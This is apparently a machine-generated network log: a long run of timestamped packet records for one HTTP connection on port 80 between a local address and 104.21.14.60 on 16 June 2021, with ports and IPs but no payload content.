Jun 16, 2021 12:05:18.131155014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131174088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131196976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131205082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.131218910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131239891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131254911 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131270885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131287098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131289959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.131306887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131310940 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.131330967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.131354094 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.132005930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132034063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132056952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132056952 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.132080078 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.132080078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132103920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132124901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132145882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132148027 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.132165909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132190943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132213116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132229090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132245064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.132247925 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.132251978 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.132265091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.132987976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133017063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133035898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133034945 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.133059025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133074999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133120060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133142948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133147955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.133163929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133187056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.133189917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133213043 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133234024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133255005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133255959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.133881092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133915901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133939028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133963108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.133975983 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.133986950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134011030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134032965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134033918 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.134053946 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134073973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134094954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134102106 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.134114981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134139061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134177923 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.134908915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134941101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134965897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134987116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.134993076 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135010958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135035038 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135039091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135056973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135082960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135104895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135104895 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135153055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135176897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135200024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135409117 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135622978 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135637045 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135775089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135804892 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135832071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135855913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135857105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135879993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135906935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135930061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135952950 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135953903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135973930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.135996103 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.135998964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.136023045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.136044979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.136044979 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.136075974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.150270939 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.154931068 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.168993950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169028997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169054985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169081926 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169092894 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169107914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169137955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169137955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169162989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169183969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169208050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169212103 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169233084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169234991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169258118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169282913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169306993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169333935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169353962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169378996 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169384003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169492006 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169506073 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169636011 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.169909954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169939995 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169964075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.169987917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.170011997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.170016050 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.170036077 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.170073986 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.275760889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275800943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275825977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275851965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275867939 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.275876999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275902987 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.275903940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275937080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275944948 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.275957108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275974035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.275994062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276005983 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276019096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276024103 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276071072 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276074886 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276093960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276113033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276132107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276156902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276180983 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276180983 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276206017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276230097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276246071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276253939 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276266098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276268005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276283979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276292086 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276302099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276309967 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276319981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.276467085 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.276665926 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277100086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277102947 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277131081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277159929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277184010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277193069 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277201891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277221918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277228117 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277240992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277261019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277278900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277296066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277303934 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277313948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277329922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.277337074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277467966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277777910 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277987957 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.277987957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278008938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278023958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278043032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278059959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278064966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.278080940 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.278084040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278103113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278120995 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278126955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.278137922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278156042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278172970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278176069 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.278189898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278192997 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.278403997 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.278913021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278938055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278960943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.278985023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279000044 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.279009104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279033899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.279038906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279067039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279087067 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279103994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279109001 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.279139042 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.279148102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279174089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279191971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279220104 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.279872894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279906988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279932022 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279954910 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.279958963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.279985905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280006886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280029058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280030012 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.280056000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280073881 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.280081034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280105114 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280129910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280158043 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280160904 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.280226946 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.280894041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280930996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280956984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.280982971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281002998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281012058 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281023979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281043053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281059027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281063080 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281076908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281079054 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281095028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281111002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281127930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281152010 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281740904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281763077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281778097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281799078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281816006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281824112 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281833887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281851053 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281855106 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281867981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281884909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281889915 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281902075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281918049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281936884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.281939030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.281959057 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.282656908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282680035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282696962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282712936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282731056 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282738924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.282749891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282768965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.282769918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282788992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282792091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.282807112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282823086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282839060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282841921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.282855988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.282875061 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.282965899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.283653975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283674002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283696890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283720970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283735991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.283745050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283770084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283778906 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.283798933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283822060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283823013 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.283838987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283857107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283859968 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.283874035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283890963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.283895016 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.284068108 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.284121037 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.284547091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284570932 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284595966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284621000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284640074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284652948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284666061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284677982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284689903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284702063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284713984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.284728050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285449028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285468102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285487890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285506964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285507917 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.285523891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285526037 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.285542011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.285559893 CEST	80	49168	104.21.14.60	192.168.2.22
